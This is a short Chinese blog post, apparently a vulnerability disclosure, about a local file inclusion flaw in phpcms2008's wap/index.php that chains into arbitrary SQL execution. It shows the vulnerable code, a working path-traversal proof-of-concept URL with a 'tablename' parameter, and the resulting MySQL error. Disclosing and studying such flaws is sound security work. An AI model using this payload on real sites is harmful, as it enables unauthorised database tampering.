\xeb\xfe's Blog.

phpcms2008本地文件包括及利用(执行任意SQL脚本)

2017/12/08

简要描述

phpcms2008本地文件包括及利用(执行任意SQL脚本)

漏洞文件(wap/index.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include '../include/common.inc.php';
include './include/global.func.php';
$lang = include './include/lang.inc.php';
if(preg_match('/(mozilla|m3gate|winwap|openwave)/i', $_SERVER['HTTP_USER_AGENT']))
{
header('location:../');
}
wmlHeader($PHPCMS['sitename']);
$action = isset($action) && !empty($action) ? $action : 'index';
if($action)
{
include './include/'.$action.'.inc.php';
}
$html = CHARSET != 'utf-8' ? iconv(CHARSET, 'utf-8', $html) : $html;
echo str_replace('<br/>', "<br/>\n", $html);
wmlFooter();
?>

第10行代码处,action 变量没有判断及过滤,造成本地文件包含漏洞。

漏洞利用之一(include\fields\areaid下任意文件)

如:field_add.inc.php

1
2
3
4
5
6
<?php
if(!$maxlength) $maxlength = 255;
$maxlength = min($maxlength, 255);
$sql = "ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT '$defaultvalue'";
$db->query($sql);
?>

这里的$tablename,$field等变量可以直接传入并且没有任何的过滤,可以通过构造SQL语句执行任意SQL脚本,需要用Opera等浏览器访问。

漏洞证明

用Opera浏览器访问,客户端弹出报错信息

1
http://www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx

1
2
3
4
5
6
7
8
9
<div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;">
<span>
<b>MySQL Query : </b>
ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT '' <br />
<b> MySQL Error : </b>
Table 'phpcms.xx' doesn't exist <br />
<b>MySQL Errno : </b>1146 <br />
<b> Message : </b> MySQL Query Error
</span></div>

修复方案:

对用户传入的action值进行判断以及过滤

原文链接:phpcms2008本地文件包括及利用(执行任意SQL脚本)

CATALOG
  1. 1. 简要描述
  2. 2. 漏洞文件(wap/index.php)
  3. 3. 漏洞利用之一(include\fields\areaid下任意文件)
  4. 4. 漏洞证明
  5. 5. 修复方案: